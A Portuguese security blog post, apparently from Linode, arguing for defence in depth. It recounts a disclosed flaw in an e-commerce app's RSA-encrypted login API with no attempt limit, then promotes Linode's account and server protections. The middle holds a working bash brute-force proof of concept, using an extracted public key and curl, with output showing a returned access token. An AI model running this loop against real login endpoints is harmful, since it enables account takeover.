Avançar para o conteúdo principal
BlogueSegurançaA autenticação não é tudo

A autenticação não é tudo

Um ecrã de início de sessão com um nome de utilizador em branco e uma palavra-passe oculta com o texto "A autenticação não é tudo"

Ao longo da história, ocorreram inúmeros fracassos devido ao excesso de confiança dos planeadores na qualidade das suas soluções. Quer se trate do Titanic inafundável ou da inexpugnável linha Maginot da Segunda Guerra Mundial, depositar demasiada confiança numa única solução causou catástrofes terríveis vezes sem conta.

No mundo da cibersegurança, não é diferente. Se tiver uma defesa de cibersegurança de solução única, está a pedir problemas.

Os perigos de uma solução única para a segurança

Neste artigo, vamos analisar um caso particular em que isto ocorreu com um fornecedor de comércio eletrónico. Esta empresa criou uma nova API de início de sessão para a sua aplicação móvel. Reforçaram a sua segurança exigindo a encriptação RSA de 1024 bits da palavra-passe no payload de quaisquer pedidos de autenticação.

Esta é uma boa ideia. Afinal de contas, torna os ataques man-in-the-middle praticamente inúteis, uma vez que as informações de autenticação não seriam legíveis por humanos. Aparece como uma cadeia de caracteres codificada em base64 e encriptada em RSA. Como os pedidos de autenticação vinham da sua própria aplicação, esta foi uma boa abordagem. Parabéns.

Mas... há mais do que isso. O que não foi uma boa ideia foi pensar que esta medida de segurança era tudo o que precisavam. Em vez de continuarem a melhorar a segurança com medidas como a imposição de um número máximo de tentativas falhadas de palavras-passe, decidiram simplesmente enviá-la e depois passaram para outro trabalho de desenvolvimento.

Embora possa parecer que tudo estava bem, havia uma falha significativa na sua solução. A chave pública de 1024 bits era facilmente observável utilizando o JADX para descompilar a sua aplicação móvel.

Ao guardar a chave pública num ficheiro local, um atacante pode percorrer todas as palavras-passe que quiser, encriptando-as todas de acordo com a chave pública do alvo e desfazendo completamente o trabalho de segurança do ponto final de autenticação.

Uma vez que não havia um limite máximo de tentativas de palavras-passe falhadas neste ponto final, escrevi um script bash que automatizaria uma verificação de tantas palavras-passe quantas eu quisesse. Provei o problema a este fornecedor de comércio eletrónico com uma simples contagem decrescente para a minha palavra-passe que tinha definido para demonstrar o problema:

#!/bin/bash
API_ENDPOINT=" https://auth-api.example.com/login/"
for i in {10..4}
do
echo "Welcome $i"
PASS="faster${i}ward"
echo $PASS
export PASS_ENCRYPTED=`echo -n $PASS | openssl rsautl -inkey public_key.pem -pubin -pkcs -encrypt 2>/dev/null | base64`
echo $PASS_ENCRYPTED
curl -s -H "user-agent: Android com.example.tw.catalogue/3.2.9" -H "authorization: bearer" -H
"content-type: application/Json; charset=utf-8" --data-binary
"{\"password\":\"$PASS_ENCRYPTED\",\"t\":\"1808339324341\",\"email\":\"tleung@akamai.com\"}" --compressed $API_ENDPOINT
sleep 1
done

Aqui está o resultado do meu script:

Welcome 10
faster10ward
ir/P32oOF9RxgoTirkbqDdRw5vnwFHaR9iAH5T+LMvHGrLIHGQbMSvOipTkC7XYZJobSQ3ykSUnNyqNfNJHbyGYADz+WumkEvT46TWfIM+qw3+q38IAV+IPgaqSCSajRcgQbfmVpy3ALbp8vUNFDT5DC8UXvFkd+vQp6BhpOTfw=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 9
Faster9ward
UmIIi2NAnLiGazENw0rg2+zMgW4o38LgjnM2yc5kz9wn29vIzDCKjqF4yn9GVVPziTz6bQWoDfjfvkgMrgkLMP0nnmITMhjKAxL1dkGEAkURmOYjHp2myXT6YGf+34UCXd1wBmIHWEjFE1L5MjVrhffKJhwAJdcfIZyiJ5B0QeY=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 8
faster8ward

EZX/hFBEp1+vsI7bMj1y2SANXjyF0FPnJZvNqbTiAVS15f+sIbOEauaxnPXcygTeVzMCo1qbyVaIIS3PyTeBSB+71cuIm0tnEPLTpVEFIEa9gZsmstMqSDZ5S1vKkSSdfplzoHZrqPAJtcMusngPlTljb 1Q74gDWZ5OpCf3u+C0=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 7

faster7ward

A3l3YVaLwiMc21aO0IrluA6qBfXqYbbkkA/900u4KPgrm5N7yQRwU0I4tWjnA1Sby4LlTPtXhNu 57xAOI2CSYb25OnR3oKW4Tuxi2vDwX+Nvjv/OWprLfmm7vjRw9UNYRDN0Em80vflE8XAn0ALYIWu3iBvQQ3eA68qF1O0OTkg=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 6

faster6ward

Iw4IQri/ZpvgvRTAZtnrT9dF2VyikyuHd2kpsmxTA9tzS0VwAcD3IaRXTUtbdW2DW+WSTl4AU6Pbvmx3ntzOeygBVWnjjQv+s5iB/XnbfDEO/nJJd3RVyB6DehGGCvBs7CHofb5bqGQPc4KWoyWlvhqdAAn9nnOasrorVhVOn44=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"total":0}
Welcome 5

faster5ward

l+JV6BCRUEBWOmQywMDx9DvxPaVGNQQAsNBSpCWBmp3Lzrq6mX9ADvmkGVJRRkT7naz/udH+9HNC/lEX9K2GVO9ZAVHyqxRtjMvoNNjyx7rZZ/8chZRsT1MDb2Yu5rCmFrvruhcSGGHiRX4w/BLPj7PgfhNQQPmUkzVqzXMNW3o=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 4
faster4ward

SVZ0UtJMFqvCPYBY4JkvQGOf5Uf3ingQji91bI1wRtCKBSDi3zUazf+43E/jVM/LowQWkh9hK0f54Mk3KWBZoUnhjSItBpvU+bKizVYC5pwNb7aIwfkaN3ZBfQ6qLKBu3wC/1DmKXgqDdTyv3/wfVQSoaqkMl2Lvh7ND1OWDgnA=

{"msgCode":null,"msg":null,"resp":[{"access_token":"dcab64a8-4563-4f24-a9ea-1ffa04a92e27","refresh_token":"803f5d3e-5a6c-4414-9c3a-c36f4cef4d8d","scope":"read write trust","token_type":"bearer","env":"idc","expires_in":124571}],"success":true,"total":0}

Vamos lá a explicar. Em um for Começo com uma mensagem de boas-vindas para anunciar o dígito que estou a inserir na minha tentativa de chegar à palavra-passe que defini para esta prova de conceito. Depois, vemos a palavra-passe e o valor encriptado subsequente que será enviado para a API. (Não pensavam que eu ia usar uma palavra-passe tão simples, quanto mais revelá-la aqui, pois não?)

Por fim, envio a resposta da API à minha verificação de palavra-passe. Nas primeiras seis tentativas, recebo uma resposta sem êxito, mas quando finalmente chego à minha palavra-passe hiper-segura (😉) de faster4wardA API permite-me entrar com o meu âmbito de autorização normal.

Lá se vão as cargas úteis de autenticação encriptadas por RSA...

Como pode evitar este mesmo tipo de erro

Agora que identificámos o problema, o que podemos fazer em vez disso? Bem, vamos começar com o erro fundamental no pensamento que nos trouxe aqui em primeiro lugar. Há muitas coisas a fazer para proteger com êxito qualquer aplicação Web, uma vez que não existe uma solução mágica para proteger uma aplicação! No caso do nosso exemplo específico acima, é necessário adotar outras medidas para além da encriptação RSA forte.

Qualquer segurança de um sistema exposto à Internet deve adotar o princípio da defesa em profundidade: Devem ser implementadas várias camadas de defesa em toda a área de superfície da sua presença na Web, e não apenas nos pontos que considera mais interessantes ou óbvios para defender.

Felizmente, a Linode oferece muitos recursos de segurança excelentes incorporados à nossa plataforma, e existem muitos padrões do setor para lidar com alguns vetores de ataque comuns. Algumas dessas soluções se aplicam à sua conta Linode e outras se aplicam diretamente aos seus Linodes. Vamos dar uma olhada nos dois tipos de proteção.

Proteger o acesso de administrador à sua conta Linode

Se alguém conseguir entrar na sua conta Linode, é fim de jogo. Entrar em seus Linodes torna-se trivial. É por isso que as contas Linode são construídas com a segurança em mente. Por padrão, toda conta Linode deve ser protegida com verificação por telefone. O Linode também exige a configuração de perguntas e respostas de segurança para fins de recuperação de conta.

Para além da verificação por telefone, também pode configurar a autenticação de dois factores utilizando um código de autenticação de palavra-passe única baseada no tempo (TOTP). Embora não seja obrigatório nas contas, é altamente recomendável ativar a 2FA, uma vez que é muito mais segura do que apenas uma palavra-passe e perguntas de segurança, e ainda mais segura do que os códigos de verificação por telefone.

Outro nível de segurança está disponível para contornar completamente a necessidade de uma senha Linode. Você pode usar uma fonte de autenticação de terceiros (TPA). Ao usar esse método, você pode configurar métodos seguros de login na fonte de terceiros de sua escolha (no momento, o Google e o GitHub são suportados para isso). Isso reduz as chances de uma senha vazada fazer com que você perca o acesso à sua conta Linode.

Um método final de proteção da sua conta é a definição de utilizadores específicos que podem aceder a partes específicas da sua conta. Isto permite-lhe definir determinadas permissões relativamente ao que os sub-utilizadores podem fazer na sua conta, reduzindo assim ainda mais a possibilidade de um atacante causar danos não mitigados à sua conta. 

Introduzir esta separação de preocupações entre os utilizadores que acedem às várias partes da sua infraestrutura é uma boa prática. Claro que, se for uma equipa de um só utilizador, isto pode não ser necessário. Ainda assim, se tiver uma verdadeira separação de preocupações, isto permitir-lhe-á certificar-se de que não são feitas alterações não autorizadas à sua conta ou infraestrutura.

Proteja seus Linodes

Proteger a sua conta é definitivamente importante, mas proteger os seus servidores e infra-estruturas pode ser ainda mais importante. Afinal, a maioria dos atacantes tentará entrar na sua infraestrutura através da infraestrutura e não através do seu provedor de hospedagem. Linode cobre-o aqui também. 

Um dos melhores lugares para começar é o Linode App Marketplace. Quer necessite de implementar soluções de segurança como o Haltdos WAF para impedir o tráfego malicioso nos portões dos seus servidores ou pretenda ter uma instalação com um clique de uma pilha de monitorização, como uma configuraçãoPrometheus + Grafana , não é muito mais fácil proteger e monitorizar a sua pilha do que a Marketplace.

As aplicações de terceiros também não são as únicas soluções que tem à sua disposição. Linode Cloud Firewall é uma ótima solução que é facilmente configurada diretamente do Cloud Manager. Usar o Linode Cloud Firewall e um firewall no seu Linode também é uma ótima ideia.

Outra boa prática é garantir que seus servidores estejam protegidos contra ataques DDoS. Com a Linode, você defende toda a sua infraestrutura contra esses ataques por padrão - sem nenhum custo! Nem precisa de fazer nada para o configurar.

Conclusão

Há muito mais a dizer sobre segurança, mas isto é provavelmente suficiente por agora. Em suma, evite que a sua solução inteligente para um problema o faça esquecer-se de ter em conta os outros aspectos que podem estar em falta na sua abordagem de segurança.

Comentários

Deixe uma resposta

O seu endereço de correio electrónico não será publicado. Os campos obrigatórios estão marcados com *